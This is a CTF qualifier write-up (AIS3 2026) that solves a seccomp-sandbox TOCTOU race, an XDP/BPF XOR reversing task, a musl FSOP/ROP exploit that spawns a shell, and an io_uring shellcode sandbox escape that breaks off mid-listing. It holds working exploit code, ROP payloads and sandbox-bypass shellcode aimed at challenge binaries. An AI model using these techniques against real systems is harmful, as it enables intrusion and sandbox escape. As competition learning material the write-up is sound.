Post

AIS2026 CTF Quals

Team/Personal Information

Team profile

I am r13922177 which corresponds to my student ID.

Solved problems

The figure above shows the challenges I solved. Luckily, this time I managed to gather 3 other teammates (compared to 2023, where we only had 2 teammates), so I was able to focus on pwn challenges. However, since I noticed that two misc problems hadn’t been solved by my teammates, I decided to try solving them myself.

This time, I didn’t stay up all night for the competition, as I had less motivation to do so (P.S. foreigners cannot participate in the finals even if we qualify, due to the restrictions D:). Although I participated in the 2023 finals and had fun, I still feel it’s unfortunate that we cannot participate this time…

I hope that in the future, foreign students will have more opportunities to participate in these kinds of cybersecurity-related events or competitions without nationality restrictions.

Writeup

Misc - SaaS

Description

The server allows us to upload a program, and will run it in the self customized sandbox-app within the docker container. Our target is to read the flag located at /flag.

Blackbox Testing

First, I decided to write a normal C program to try reading /etc/passwd and /flag directly to see the results. As a result, /etc/passwd was successfully read, while /flag was blocked by the sandbox-app.

We know that the seccomp-sandbox somehow blocks the action of reading the flag, given the discrepancy (not the read action itself, but the read combined with the flag target, since we are able to read /etc/passwd).

Next, I decided to use the stat syscall to check the /flag permissions. If it executes successfully, we know that:

  1. Most system calls are likely allowed.
  2. We have permission to read the flag.

As a result, we know that the flag is readable. In conclusion, the seccomp-sandbox likely checks read-related system calls and verifies if the target file is /flag to determine whether to block it.

TOCTOU Exploit

In summary, we can write a program to create two threads, Ta and Tb. Ta is responsible for constantly flipping the path buffer (which contains the target file path to read) between a legal file path (e.g., /etc/passwd) and /flag, while Tb keeps calling the open(path) function. If a race condition occurs in the order listed below, we will be able to read /flag:

  1. seccomp-sandbox reads the path, finds that it is a legal file path, and allows the current function call / system call execution.
  2. In the meantime, Ta flips the path from the legal file path to /flag.
  3. On the kernel side, the openat system call executes and finds that the buffer now contains /flag, thus reading the content of /flag instead of /etc/passwd.

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>

const char *ALLOWED = "/dev/null";
const char *FORBIDDEN = "/flag";

char path[256]; // our controlled path buffer
volatile int running = 1;

void *worker(void *arg) {
    while (running) {
        // keep flipping between allowed and forbidden paths
        strcpy(path, ALLOWED);
        strcpy(path, FORBIDDEN);
    }
    return NULL;
}

int main() {
    printf("[*] Starting TOCTOU exploit for /flag...\n");

    strcpy(path, ALLOWED);

    pthread_t tid;
    if (pthread_create(&tid, NULL, worker, NULL) != 0) {
        perror("pthread_create");
        return 1;
    }

    int fd;
    char buf[1024];
    
    while (running) {        
        // Let's pray for race condition QQQQQQ
        fd = open(path, O_RDONLY);
        
        if (fd >= 0) {
            // Oh! We opened something...
            int n = read(fd, buf, sizeof(buf) - 1);
            close(fd);
            
            if (n > 0) {
                // if we read something, and since `/dev/null` always returns 0 bytes, that means we can ensure that we open the /flag successfully!
                buf[n] = 0;
                printf("[+] flag: %s\n", buf);
                
                // clean up
                running = 0;
                pthread_join(tid, NULL);
                return 0;
            }
        }
    }
    
    pthread_join(tid, NULL);
    return 1;
}

Compile with:

1
gcc -O2 -pthread -s -o app app.c

flag

Misc - fun

Description

The problem provides two files, loader and xdp_prog.o. The loader can be reverse engineered directly using IDA.

Loader Rev

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 xdp_obj; // rbx
  int v4; // ebp
  unsigned int v5; // r12d
  __int64 program_by_name; // rdi
  __int64 v7; // r14
  int map_fd_by_name; // eax
  __int64 v9; // r12
  __int64 error; // rax
  rlimit v12; // [rsp+0h] [rbp-48h] BYREF
  unsigned __int64 v13; // [rsp+18h] [rbp-30h]

  v13 = __readfsqword(0x28u);
  libbpf_set_print(print_libbpf_log, argv, envp);
  v12 = (rlimit)-1LL;
  if ( !setrlimit(8, &v12) )
  {
    signal(2, sig_int);
    signal(15, sig_int);
    xdp_obj = bpf_object__open_file("xdp_prog.o", 0LL);
    if ( libbpf_get_error(xdp_obj) )
    {
      fwrite("ERROR: opening BPF object file failed\n", 1uLL, 0x26uLL, _bss_start);
    }
    else
    {
      v4 = bpf_object__load(xdp_obj);
      if ( v4 )
      {
        fwrite("ERROR: loading BPF object file failed\n", 1uLL, 0x26uLL, _bss_start);
      }
      else
      {
        v5 = if_nametoindex("lo");
        if ( v5 )
        {
          program_by_name = bpf_object__find_program_by_name(xdp_obj, "xdp_encoder");
          if ( program_by_name )
          {
            v7 = bpf_program__attach_xdp(program_by_name, v5);
            if ( libbpf_get_error(v7) )
            {
              fwrite("ERROR: Attaching XDP program failed\n", 1uLL, 0x24uLL, _bss_start);
            }
            else
            {
              __printf_chk(2LL, "Successfully attached! Waiting for packets on %s...\n", "lo");
              map_fd_by_name = bpf_object__find_map_fd_by_name(xdp_obj, "perf_map");
              if ( map_fd_by_name < 0 )
              {
                fwrite("ERROR: finding perf map failed\n", 1uLL, 0x1FuLL, _bss_start);
              }
              else
              {
                v9 = perf_buffer__new((unsigned int)map_fd_by_name, 8LL, handle_event, 0LL, 0LL, 0LL);
                if ( !libbpf_get_error(v9) )
                {
                  while ( !stop )
                    perf_buffer__poll(v9, 100LL);
                  puts("Detaching...");
                  bpf_link__destroy(v7);
                  bpf_object__close(xdp_obj);
                  perf_buffer__free(v9);
                  return v4;
                }
                error = libbpf_get_error(v9);
                __fprintf_chk(_bss_start, 2LL, "failed to setup perf_buffer: %ld\n", error);
              }
            }
          }
          else
          {
            fwrite("ERROR: finding xdp program failed\n", 1uLL, 0x22uLL, _bss_start);
          }
        }
        else
        {
          __fprintf_chk(_bss_start, 2LL, "ERROR: if_nametoindex(%s) failed\n", "lo");
        }
      }
    }
    return 1;
  }                                                                                                                                                                                                           return main_cold();
}

void __fastcall handle_event(void *ctx, int cpu, unsigned __int8 *data, __int64 data_sz)
{
  __int64 v5; // rbx
  __int64 v6; // rdx

  if ( *(_DWORD *)data <= 0x40u )
  {
    __printf_chk(2LL, "[+] Encoded Flag (Hex): ", data, data_sz);
    if ( *(_DWORD *)data )
    {
      v5 = 0LL;
      do
      {
        v6 = data[v5++ + 4];
        __printf_chk(2LL, "%02x", v6);
      }
      while ( (unsigned int)v5 < *(_DWORD *)data );
    }
    putchar(10);
    stop = 1;
  }
}

As for xdp_prog.o, we can use llvm_objdump to dump the assembly code to see what it’s doing.

1
llvm-objdump -S xdp_proj.o > xdp_proj.out

But we don’t need to check it one by one manually; we can just throw it to ChatGPT and ask it to reverse engineer it. Simply put, the loader loads xdp_prog.o, then takes the xdp_encoder function inside to encrypt/decrypt the flag. Of course, there are some packet processing steps in between that we can ignore. The important part is that we need to get the XOR encryption/decryption key. We can use the following command to grab all XOR instructions:

1
grep -nE "\^=|\bxor\b|\^ 0x" xdp_proj.out > test.out

Blindly guessing that these key bytes perform encryption/decryption sequentially, we can write a simple Python script to decrypt and get the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
flag_fd = open('./flag.enc', 'r')
flag_enc = flag_fd.read()
flag_fd.close()

flag_enc = bytes.fromhex(flag_enc)

parse_strfd = open('./test.out', 'r')
parse_str = parse_strfd.read()
parse_strfd.close()

parse_data = parse_str.split('\n')[:-2]

keys = []
for i in range(len(parse_data)):
        keys.append(parse_data[i].split('^= ')[1])
keys = [int(k, 16) for k in keys]

flag = ''.join([chr(flag_enc[i] ^ keys[i]) for i in range(len(flag_enc))])
print(flag)

flag

Pwn - ooonenooote

Checksec

Program Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define MAX_LEN 0x10
int main(){
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    char* notes[MAX_LEN] = {0};
    int choice = 0;
    puts("Welcome to ooone nooote!");
    printf("Give me your index: ");
    if(scanf("%d%*c", &choice) != 1){
        puts("Invalid index");
        exit(0x1337);
    }
    if (choice > MAX_LEN){
        puts("Index out of range");
        exit(0x69);
    }
    notes[choice] = calloc(1,128);
    printf("OK, give me the content of your note: ");
    read(0, notes[choice], 128);
    printf("You have reached the limit of notes! Exiting...");
    exit(0);
}

A simple program without anything special. The issue is that choice is a signed integer and there’s no check for negative numbers, so we can overwrite arbitrary locations on the stack. However, since the program places the allocated memory address returned by calloc onto the stack at our specified location, and read only writes to that allocated memory, we can’t do much else directly.

While frantically debugging in GDB, I discovered that when printf is executed, a certain location on the stack (not far from rsp after calloc) gets overwritten with the address of __stdout_FILE. If we point notes[choice] to this location, then during the first printf (which outputs “OK, give me the …”), since printf itself uses __stdout_FILE and places its address on the stack, it will overwrite our pointer with the original __stdout_FILE address. Consequently, the subsequent read will write to the __stdout_FILE location instead of the memory allocated by calloc. This allows us to perform an FSOP attack.

Referencing the source code https://github.com/rui314/musl/blob/master/src/stdio/vfprintf.c#L657 , our goal is to execute the instruction f->write(f, 0, 0). The conditions required to reach that line are:

  1. f->buf_size is 0
  2. f->buf is not NULL

In other cases, as long as we don’t mess up the original structure, it won’t trigger an error.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (f->mode < 1) f->flags &= ~F_ERR;
if (!f->buf_size) {
	saved_buf = f->buf;
	f->buf = internal_buf;
	f->buf_size = sizeof internal_buf;
	f->wpos = f->wbase = f->wend = 0;
}
if (!f->wend && __towrite(f)) ret = -1;
else ret = printf_core(f, fmt, &ap2, nl_arg, nl_type);
if (saved_buf) {
	f->write(f, 0, 0);
	if (!f->wpos) ret = -1;
	f->buf = saved_buf;
	f->buf_size = 0;
	f->wpos = f->wbase = f->wend = 0;
}

So, we just need to overwrite __stdout_FILE’s buf_size and buf to meet the conditions, and write our ROP Chain into the __stdout_FILE->write location to achieve RCE. (Note that we can only use the first four 8-byte slots for our ROP Chain gadgets, as the subsequent bytes will be modified by vfprintf. For details, see the code for __towrite and vfprintf.)

After debugging with GDB, I found that at the moment of ROP execution, rdi defaults to pointing to __stdout_FILE, and rsi and rdx default to 0. Therefore, we just need to place /bin/sh\x00 at the beginning of __stdout_FILE, use the pop rax ; ret gadget to write 59 into rax, and finally execute syscall to complete the RCE!

After overwriting __stdout_FILE, waiting for the program to call printf will trigger our ROP chain and get us a shell.

Exploit script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

# 90 offset 有殘留 stdout_FILE, 我們可以寫入
# __stdout_FILE->buf_size == 0
# __stdout_FILE->buf != NULL
# __stdout_FILE->flags & F_NOWR (8) == 0

'''
stdout+0x00 -> flags
stdout+0x08
stdout+0x10
stdout+0x18
stdout+0x20 -> wend
stdout+0x28 -> wpos
stdout+0x30 -> mustbezero_1
stdout+0x38 -> wbase
stdout+0x40 -> (*read)
stdout+0x48 -> (*write)
stdout+0x50 -> (*seek)
stdout+0x58 -> (*buf)
stdout+0x60 -> buf_size
'''

# 0x4042ae
#r = process('./chall')
r = remote("chals1.eof.ais3.org", "13337")

pause()
xor_r10_mov_rax_rsi_syscall_addr = 0x0000000000404cdb
pop_rbx_rbp_r12_r13_ret_addr = 0x0000000000401c53

leave_ret_addr = 0x0000000000409dfe
pop_rdi_ret_addr = 0x000000000040289d
pop_rsi_ret_addr = 0x0000000000401842
pop_rbx_ret_addr = 0x00000000004045d0
mov_rdx_rbx_syscall_addr = 0x000000000040a373 # mov rdx, rbx ; syscall
syscall_addr = 0x0000000000401423
pop_rax_ret_addr = 0x0000000000401001

__stdout_FILE_addr = 0x40e140
#__stdout_FILE+72 => call to [__stdout_FILE+72]

#payload = b"/bin/sh\x00" + p64(pop_rdi_ret_addr) + p64(__stdout_FILE_addr) + p64(pop_rax_ret_addr) + p64(59) + p64(syscall_addr) + p64(0xdeadbeef) + p64(0xbeefdead) + p64(0x000000000040a2d0) + p64(leave_ret_addr) + p64(0x000000000040e748) + p64(1) + p64(0) + p64(0xdead) + p64(0xbeef) + p64(0xa)
#payload = b"/bin/sh\x00" + p64(pop_rbx_rbp_r12_r13_ret_addr) + p64(59) + p64(__stdout_FILE_addr) + p64(0) + p64(0) + p64(xor_r10_mov_rax_rsi_syscall_addr) + p64(0xbeefdead) + p64(0x000000000040a2d0) + p64(leave_ret_addr) + p64(0x000000000040e748) + p64(1) + p64(0) + p64(0xdead) + p64(0xbeef) + p64(0xa)

payload = b"/bin/sh\x00" + p64(pop_rax_ret_addr) + p64(59) + p64(syscall_addr) + p64(0) + p64(0) + p64(0) + p64(0xbeefdead) + p64(0x000000000040a2d0) + p64(leave_ret_addr) + p64(0x000000000040e748) + p64(1) + p64(0) + p64(0xdead) + p64(0xbeef) + p64(0xa)

#payload = b'/bin/sh\x00' + p64(0xa) + p64(0xb) + p64(0xc) + p64(0xd) + p64(0xe) + p64(0xf) + p64(0xaa) + p64(0xab) + p64(0xac) + p64(0xad) + p64(0xee) + p64(0xef) + p64(0xdeadbeef)

print(len(payload))

r.sendlineafter(b'Give me your index: ', b'-90')
r.sendlineafter(b'OK, give me the content of your note: ', payload)

pause()
r.interactive()

flag

Pwn - Safe IO

The most interesting problem this competition IMO

Checksec

Program Analysis

The program is basically divided into two parts: agent and host. The agent is responsible for receiving commands from the host, doing work, and then sending a response back to the host. The host uses the response as an argument for snprintf, which introduces a format string vulnerability.

The difficulty lies in the fact that both agent and host have seccomp configured. The agent configuration only allows:

  1. io_uring_setup
  2. io_uring_enter
  3. exit/exit_group

The host allows:

  1. read
  2. write
  3. exit/exit_group

Furthermore, the code executed by the agent is the shellcode we provide, and this shellcode cannot include the syscall instruction. So basically, to solve this challenge, we need to figure out how to:

  • Bypass the restriction on the syscall instruction, otherwise we can’t execute io_uring_setup or io_uring_enter to communicate with the host…
  • Leak the base address / libc address
  • Use io_uring to communicate with the host
  • Assuming io_uring is usable, use a method similar to blind SQL injection to guess the flag byte by byte

bypass syscall restriction

The source code contains this segment:

1
__attribute__((noinline)) int magic() { return -859634417; }

Checking with GDB reveals that it provides syscall ; ret, which allows us to bypass the restriction.

1
2
3
gef➤  x/2i magic+0x5
   0x555555555c15 <magic+5>:    syscall
   0x555555555c17 <magic+7>:    ret

Leak base address / libc address

There are residual addresses on the child process’s stack, which we can use to calculate offsets and obtain the base address and libc address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def craft_shellcode():
    sc = f"""
    mov r11, qword ptr [rsp]
    mov r12, qword ptr [rsp+0x20]
    mov r8, 0x2a1ca
    sub r11, r8
    mov r8, 0x14b0
    sub r12, r8
    mov r15, r12
    mov r8, 0x1c15
    add r15, r8
    /* now r11 have libc address, and r12 have base address, r15 have the magic+0x5 (syscall; ret) */
    
    /* TODO */
    
    /* --- Wait Loop --- */
    /* Loop forever so parent can inspect the received data */
    jmp .
    """
    return sc

iouring usage

Since there are very few examples of io_uring related system calls, my approach was to ask ChatGPT to write a C code, compile it, and then use GDB to inspect the assembly code to see how io_uring_setup and io_uring_enter are used to read flag.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
#define _GNU_SOURCE
#include <linux/io_uring.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>   // AT_FDCWD, O_RDONLY

#ifndef IORING_SETUP_NO_MMAP
#define IORING_SETUP_NO_MMAP (1U << 14)   /* 0x4000 */
#endif

int main(void) {
    /* Exactly 0x2000 scratch, page-aligned */
    static unsigned char mem[0x2000] __attribute__((aligned(4096)));

    unsigned char *rings = mem;          /* 0x1000 */
    unsigned char *sqes  = mem + 0x1000; /* 0x1000 */

    /* stack buffer for file contents */
    static char buf[4096];

    memset(mem, 0, sizeof(mem));
    memset(buf, 0, sizeof(buf));

    struct io_uring_params p;
    memset(&p, 0, sizeof(p));

    p.flags = IORING_SETUP_NO_MMAP;
    p.sq_off.user_addr = (uintptr_t)sqes;   /* SQE array backing */
    p.cq_off.user_addr = (uintptr_t)rings;  /* SQ/CQ rings backing */

    int ring_fd = syscall(SYS_io_uring_setup, 8, &p);
    if (ring_fd < 0) {
        for (;;) {} /* stop here in gdb */
    }

    /* locate SQ ring fields */
    uint32_t *sq_tail  = (uint32_t *)(rings + p.sq_off.tail);
    uint32_t *sq_mask  = (uint32_t *)(rings + p.sq_off.ring_mask);
    uint32_t *sq_array = (uint32_t *)(rings + p.sq_off.array);

    /* locate CQ ring fields */
    uint32_t *cq_head = (uint32_t *)(rings + p.cq_off.head);
    uint32_t *cq_tail = (uint32_t *)(rings + p.cq_off.tail);
    uint32_t *cq_mask = (uint32_t *)(rings + p.cq_off.ring_mask);
    struct io_uring_cqe *cqes_base = (struct io_uring_cqe *)(rings + p.cq_off.cqes);

    struct io_uring_sqe *sqe = (struct io_uring_sqe *)sqes;

    /* =========================
       1) OPENAT("flag.txt")
       ========================= */
    memset(&sqe[0], 0, sizeof(sqe[0]));
    sqe[0].opcode = IORING_OP_OPENAT;
    sqe[0].fd = AT_FDCWD;
    sqe[0].addr = (uintptr_t)"flag.txt";
    sqe[0].open_flags = O_RDONLY;
    sqe[0].len = 0; /* mode */
    sqe[0].user_data = 0x1111;

    /* submit sqe index 0 */
    {
        uint32_t tail = *sq_tail;
        sq_array[tail & *sq_mask] = 0;
        __sync_synchronize();
        *sq_tail = tail + 1;
    }

    /* enter + wait 1 completion */
    if (syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0) < 0) {
        for (;;) {}
    }

    /* reap cqe -> fd */
    int fd;
    {
        uint32_t head = *cq_head;
        while (head == *cq_tail) { /* spin until CQE arrives */ }
        struct io_uring_cqe *cqe = &cqes_base[head & *cq_mask];
        fd = cqe->res;
        __sync_synchronize();
        *cq_head = head + 1;
    }
    if (fd < 0) {
        for (;;) {}
    }

    /* =========================
       2) READ(fd, buf, 4096)
       ========================= */
    memset(&sqe[0], 0, sizeof(sqe[0]));
    sqe[0].opcode = IORING_OP_READ;
    sqe[0].fd = fd;
    sqe[0].addr = (uintptr_t)buf;
    sqe[0].len = 4096;
    sqe[0].off = -1; /* like read() */
    sqe[0].user_data = 0x2222;

    /* submit sqe index 0 */
    {
        uint32_t tail = *sq_tail;
        sq_array[tail & *sq_mask] = 0;
        __sync_synchronize();
        *sq_tail = tail + 1;
    }

    /* enter + wait 1 completion */
    if (syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0) < 0) {
        for (;;) {}
    }

    /* reap cqe -> nread */
    int nread;
    {
        uint32_t head = *cq_head;
        while (head == *cq_tail) { }
        struct io_uring_cqe *cqe = &cqes_base[head & *cq_mask];
        nread = cqe->res;
        __sync_synchronize();
        *cq_head = head + 1;
    }
    if (nread < 0) {
        for (;;) {}
    }
    if (nread > 4096) nread = 4096;

    /* =========================
       3) WRITE(1, buf, nread)
       ========================= */
    memset(&sqe[0], 0, sizeof(sqe[0]));
    sqe[0].opcode = IORING_OP_WRITE;
    sqe[0].fd = 1;
    sqe[0].addr = (uintptr_t)buf;
    sqe[0].len = (uint32_t)nread;
    sqe[0].off = -1; /* like write() */
    sqe[0].user_data = 0x3333;

    /* submit sqe index 0 */
    {
        uint32_t tail = *sq_tail;
        sq_array[tail & *sq_mask] = 0;
        __sync_synchronize();
        *sq_tail = tail + 1;
    }

    /* enter + wait 1 completion */
    if (syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0) < 0) {
        for (;;) {}
    }

    /* reap write completion (optional) */
    {
        uint32_t head = *cq_head;
        while (head == *cq_tail) { }
        __sync_synchronize();
        *cq_head = head + 1;
    }

    return 0;
}

By constructing the following shellcode to mimic the assembly of the C code above, I found that the agent can successfully read flag.txt and store its content at rsp+0x150.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
#!/usr/bin/env python3

from pwn import *

exe = ELF("./safeio_patched")
libc = ELF("libc.so.6")
ld = ELF("./ld-2.39.so")

context.binary = exe
context.arch = 'amd64'
context.os = 'linux'


r = process([exe.path])

def send_shellcode(shellcode: bytes):
    assert len(shellcode) < 0x1000
    r.sendlineafter(b'agent > ', shellcode)

def send_cmd(cmd: bytes):
    assert len(cmd) < 0x100
    r.sendlineafter(b'cmd > ', cmd)

# syscall(SYS_io_uring_setup, 8, &p); /* setup ring */
# syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0) /* enter + wait 1 completion */

def craft_shellcode():
    sc = f"""
    mov     r11, qword ptr [rsp] /* r11 store libc address */
    mov     r12, qword ptr [rsp+0x20] /* r12 store base address */
    mov     r8, 0x2a1ca
    sub     r11, r8
    mov     r8, 0x14b0
    sub     r12, r8
    mov     r15, r12
    add     r15, 0x1c15          /* syscall;ret */

    /*  extend rbp */
    mov     r8, 0x1000
    add     rbp, r8

    /* store "flag.txt\x00" at rsp+0x100 */
    mov    rax, 0x7478742e67616c66
    mov qword ptr [rsp+0x100], rax
    mov byte ptr [rsp+0x108], 0

    /* unsigned char *rings = mem */
    lea    rax, [r12+0x5000]
    mov    QWORD PTR [rbp-0xe0], rax

    /* unsigned char *sqes = mem */
    lea    rax, [r12+0x6000]
    mov    QWORD PTR [rbp-0xd8], rax

    mov    rdi, qword ptr [rbp-0xe0]
    xor    eax, eax
    mov    rcx, 0x1000
    rep    stosb

    mov    rdi, qword ptr [rbp-0xd8]
    xor    eax, eax
    mov    rcx, 0x1000
    rep    stosb

    /* put struct io_uring_params p at [rsp+0x10] and clear all */
    lea     rdi, [rbp-0x80]
    xor     eax, eax
    mov     rcx, 0x78
    rep     stosb

    /* set p.flags = IORING_SETUP_NO_MMAP */
    mov    DWORD PTR [rbp-0x78], 0x4000
    
    /* set p.sq_off.user_addr = (uintptr_t)sqes */
    mov    rax, QWORD PTR [rbp-0xd8]
    mov    QWORD PTR [rbp-0x38], rax

    /* set p.cq_off.user_addr = (uintptr_t)rings */
    mov    rax, QWORD PTR [rbp-0xe0]
    mov    QWORD PTR [rbp-0x10], rax

    /* syscall(SYS_io_uring_setup, 8, &p) */
    mov    eax, 425
    mov    edi, 8
    lea    rsi, [rbp-0x80]
    call   r15

    /* uint32_t *sq_tail  = (uint32_t *)(rings + p.sq_off.tail); */
    mov    eax, DWORD PTR [rbp-0x54]
    mov    edx, eax
    mov    rax, QWORD PTR [rbp-0xe0]
    add    rax, rdx
    mov    QWORD PTR [rbp-0xd0], rax

    /* uint32_t *sq_mask  = (uint32_t *)(rings + p.sq_off.ring_mask); */
    mov    eax, DWORD PTR [rbp-0x50]
    mov    edx, eax
    mov    rax, QWORD PTR [rbp-0xe0]
    add    rax, rdx
    mov    QWORD PTR [rbp-0xc8], rax

    /* uint32_t *sq_array = (uint32_t *)(rings + p.sq_off.array); */
    mov    eax, DWORD PTR [rbp-0x40]
    mov    edx, eax
    mov    rax, QWORD PTR [rbp-0xe0]
    add    rax, rdx
    mov    QWORD PTR [rbp-0xc0], rax

    /* uint32_t *cq_head = (uint32_t *)(rings + p.cq_off.head); */
    mov    eax, DWORD PTR [rbp-0x30]
    mov    edx, eax
    mov    rax, QWORD PTR [rbp-0xe0]
    add    rax, rdx
    mov    QWORD PTR [rbp-0xb8], rax

    /* uint32_t *cq_tail = (uint32_t *)(rings + p.cq_off.tail); */
    mov    eax, DWORD PTR [rbp-0x2c]
    mov    edx, eax
    mov    rax, QWORD PTR [rbp-0xe0]
    add    rax, rdx
    mov    QWORD PTR [rbp-0xb0], rax

    /* uint32_t *cq_mask = (uint32_t *)(rings + p.cq_off.ring_mask); */
    mov    eax, DWORD PTR [rbp-0x28]
    mov    edx, eax
    mov    rax, QWORD PTR [rbp-0xe0]
    add    rax, rdx
    mov    QWORD PTR [rbp-0xa8], rax

    /* struct io_uring_cqe *cqes_base = (struct io_uring_cqe *)(rings + p.cq_off.cqes); */
    mov    eax, DWORD PTR [rbp-0x1c]
    mov    edx, eax
    mov    rax, QWORD PTR [rbp-0xe0]
    add    rax, rdx
    mov    QWORD PTR [rbp-0xa0], rax

    /* struct io_uring_sqe *sqe = (struct io_uring_sqe *)sqes; */
    mov    rax, QWORD PTR [rbp-0xd8]
    mov    QWORD PTR [rbp-0x98], rax
    
    /* memset(&sqe[0], 0, sizeof(sqe[0])); */
    mov    rdi, qword ptr [rbp-0x98]
    xor    eax, eax
    mov    rcx, 0x40
    rep    stosb

    /* sqe[0].opcode = IORING_OP_OPENAT; */
    mov    rax, QWORD PTR [rbp-0x98]
    mov    BYTE PTR [rax], 0x12

    /* sqe[0].fd = AT_FDCWD; */
    mov    rax, QWORD PTR [rbp-0x98]
    mov    DWORD PTR [rax+0x4], 0xffffff9c

    /* sqe[0].addr = (uintptr_t)"flag.txt";, where at [rsp+0x100] */
    lea    rdx, [rsp+0x100]
    mov    rax, QWORD PTR [rbp-0x98]
    mov    QWORD PTR [rax+0x10], rdx

    /* sqe[0].open_flags = O_RDONLY; */
    mov    rax, QWORD PTR [rbp-0x98]
    mov    DWORD PTR [rax+0x1c], 0x0

    /* sqe[0].len = 0; */
    mov    rax, QWORD PTR [rbp-0x98]
    mov    DWORD PTR [rax+0x18], 0x0

    /* sqe[0].user_data = 0x1111; */
    mov    rax, QWORD PTR [rbp-0x98]
    mov    QWORD PTR [rax+0x20], 0x1111

    /* submit sqe index 0 */
    mov    rax, QWORD PTR [rbp-0xd0]
    mov    eax, DWORD PTR [rax]
    mov    DWORD PTR [rbp-0xfc], eax
    mov    rax, QWORD PTR [rbp-0xc8]
    mov    eax, DWORD PTR [rax]
    and    eax, DWORD PTR [rbp-0xfc]
    mov    eax, eax
    lea    rdx, [rax*4+0x0]
    mov    rax, QWORD PTR [rbp-0xc0]
    add    rax, rdx
    mov    DWORD PTR [rax], 0x0
    lock   or QWORD PTR [rsp], 0x0
    mov    eax, DWORD PTR [rbp-0xfc]
    lea    edx, [rax+0x1]
    mov    rax, QWORD PTR [rbp-0xd0]
    mov    DWORD PTR [rax], edx

    /* syscall(SYS_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0) */
    mov    edi, 0x2
    mov    rsi, 0x1
    mov    rdx, 0x1
    mov    r10, 0x1
    xor    r8, r8
    xor    r9, r9
    mov    eax, 426
    call   r15

    /* reap cqe -> fd */
    mov    rax, QWORD PTR [rbp-0xb8]
    mov    eax, DWORD PTR [rax]
    mov    DWORD PTR [rbp-0xf8], eax
    nop
    mov    rax, QWORD PTR [rbp-0xb0]
    mov    rax, QWORD PTR [rbp-0xa8]
    mov    eax, DWORD PTR [rax]
    and    eax, DWORD PTR [rbp-0xf8]
    mov    eax, eax
    shl    rax, 0x4
    mov    rdx, rax
    mov    rax, QWORD PTR [rbp-0xa0]
    add    rax, rdx
    mov    QWORD PTR [rbp-0x90], rax
    mov    rax, QWORD PTR [rbp-0x90]
    mov    eax, DWORD PTR [rax+0x8]
    mov    DWORD PTR [rbp-0xf4], eax /* DWORD PTR [rbp-0xf4] store fd */
    lock   or QWORD PTR [rsp], 0x0
    mov    eax, DWORD PTR [rbp-0xf8]
    lea    edx, [rax+0x1]
    mov    rax, QWORD PTR [rbp-0xb8]
    mov    DWORD PTR [rax], edx
    
    /* check fd here if needed */
    /* READ(fd, buf, 4096) */
    /* we let buf at rsp+[0x150] */
    
